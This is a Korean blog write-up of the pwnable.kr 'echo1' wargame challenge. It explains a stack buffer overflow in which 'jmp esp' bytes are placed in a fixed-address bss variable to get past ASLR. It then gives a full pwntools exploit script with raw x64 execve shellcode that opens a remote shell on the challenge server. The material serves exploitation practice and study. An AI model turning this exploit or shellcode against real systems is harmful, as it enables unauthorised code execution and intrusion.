KDHzoot's Github

Code for study, project, etc

자세히보기

정보보안/pwnable.kr

[pwnable.kr] echo1

kdhzoot 2018. 11. 5. 23:42

NX는 안걸려있지만 서버환경상 aslr이 걸려있으므로 스택영역에 쉘코드를 쓰고 그 주소를 RET값에 넣는 방법은 안된다.



bss영역은 aslr이 적용되어도 주소가 변하지 않음으로 id가 bss영역에 있는 것을 이용하여 쉘코드를 실행 시킬 수 있다.




버퍼오버플로우가 발생하는 echo1함수다. 


먼저 id에 "\xff\xe4" 값을 넣는다.

이는 어셈블리어로 jmp esp명령어와 같다.


>>> payload

dump(40) + id_addr(8) + shellcode

x64는 주소가 8바이트이다.

쉘코드도 x32와 다른 코드를 사용해야한다.





echo1함수의 에필로그에서 leave ret후 eip는 id의 주소를 가르키고 esp는 id_addr다음 쉘코드를 가르키게된다.

id에는 jmp esp명령이 있으므로 eip가 esp로 jump하면 쉘코드의 위치에 eip가 오게되고 쉘을 딸수 있다.



exploit.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
local = False
if local:
    p = process("./echo1")
else:
    p = remote("pwnable.kr",9010)
 
print p.recv(2048)
p.sendline("\xff\xe4")
 
print p.recvuntil(">")
p.sendline("1")
 
id_addr = 0x6020A0
 
payload= "A"*40
payload+=p64(id_addr)
payload+="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
print p.recv(2048)
p.sendline(payload)
 
p.interactive()
cs


'정보보안 > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake  (0) 2018.11.08
[pwnable.kr] leg  (0) 2018.11.08
[pwnable.kr] input  (0) 2018.11.08
[pwnable.kr] random  (0) 2018.11.08
[pwnable.kr] passcode  (0) 2018.11.08